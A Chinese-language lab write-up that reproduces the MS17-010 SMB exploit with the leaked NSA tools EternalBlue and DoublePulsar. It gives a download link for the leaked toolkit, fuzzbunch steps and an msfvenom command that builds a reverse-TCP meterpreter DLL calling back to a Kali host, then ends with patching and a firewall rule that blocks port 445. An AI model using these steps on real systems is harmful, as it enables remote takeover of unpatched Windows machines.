复现 NSA Enternalblue SMB 漏洞

2017年4月14日,Shadow Brokers 再次公开了大量从 NSA 的方程式组织(Equation Group)处窃取的攻击工具,这些工具主要针对 Windows 系统的漏洞,其中还有几个 0 day。工具中的 fuzzbunch 是一个类似于 metasploit 的漏洞利用框架,fb.py 是 fuzzbunch 的入口文件,通过该文件可以调用各攻击模块。

泄露的工具可在 Github 下载:https://github.com/misterch0c/shadowbroker

0x01 影响范围

下图中列举了工具中相关模块所影响的服务和系统。

0x02 漏洞测试

下面使用工具中的 fuzzbunch 框架、Eternalblue 和 Doublepulsar 测试 Windows 下的 SMB 漏洞。首先通过 Eternalblue 利用 MS17-010 漏洞攻击 Windows 系统;然后在 Kali Linux 中用 Metasploit 生成一个能建立反向连接的 DLL,并在 Kali 中监听相应端口;最后使用 Doublepulsar 远程注入恶意 DLL 到目标系统,注入成功后 Kali 将与目标系统建立连接。

1. 测试环境

PC IP 用途 备注
Win 7 x64 192.168.109.1 攻击机 需安装 python2.6pywin32
Win 7 x86 192.168.109.132 靶机 开启 SMB 服务(445端口)
Kali Linux 192.168.109.128 控制端 生成payload 并控制回连会话

首先需要把工具中的 windows 拷贝到攻击机 Win 7 x64中,然后在 windows 目录下新建一个 listeningposts 文件夹。

2. 测试流程

1)运行 fuzzbunch 框架

在 cmd 中进入 windows 目录,运行 python fb.py。输入目标系统 IP(Win 7 x86)和攻击机 IP(Win 7 x64),输入“no” 不重定向,接着输入项目名新建一个项目。

2)调用 Eternalblue 攻击系统

运行use Eternalblue,然后大多数步骤只需按回车使用默认参数即可。

下面需要选择 1)FB 模式。

接着继续回车,直到成功运行攻击模块。

3)Metasploit 生成恶意 DLL

在 Kali Linux 下使用 Metasploit 生成恶意 DLL,它将在目标系统中建立一个反向连接。这里生成的 DLL必须要与目标系统版本一致,下面生成 32 bit 的 DLL。

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.109.128 LPORT=6666 -f dll > test.dll

之后需要将生成的 test.dll 拷贝到攻击机的 D:\下。

4)开启 msf 监听

在 Kali Linux 下,运行 msf,监听 6666 端口。

5)调用 Doublepulsar 注入 DLL

回到攻击机中,执行 use Doublepulsar ,回车使用默认参数直到选择 Function 为2 注入 DLL,然后指定 DLL 的路径。

注入成功后将返回如下信息。

但是这里也会出现个问题,多次注入之后目标系统会出错重启。

6)建立连接

DLL 注入到目标系统之后,Kali Linux 将与目标系统建立连接。

0x03 防御措施

  1. 尽快升级系统补丁
  2. 开启防火墙,并限制 445 端口
    通过以下命令添加防火墙规则:
    1
    netsh advfirewall firewall add rule name="445" protocol=TCP dir=in localport=445 action=block

References:
[1] NSA工具包之0day Eternalblue 复现笔记
[2] HOW TO EXPLOIT ETERNALBLUE & DOUBLEPULSAR TO GET AN
EMPIRE/METERPRETER SESSION ON WINDOWS 7/2008

[3] NSA Fuzzbunch分析与利用案例